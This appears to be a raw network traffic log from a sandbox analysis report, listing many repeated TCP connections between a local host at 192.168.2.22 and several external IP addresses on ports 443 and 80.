Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
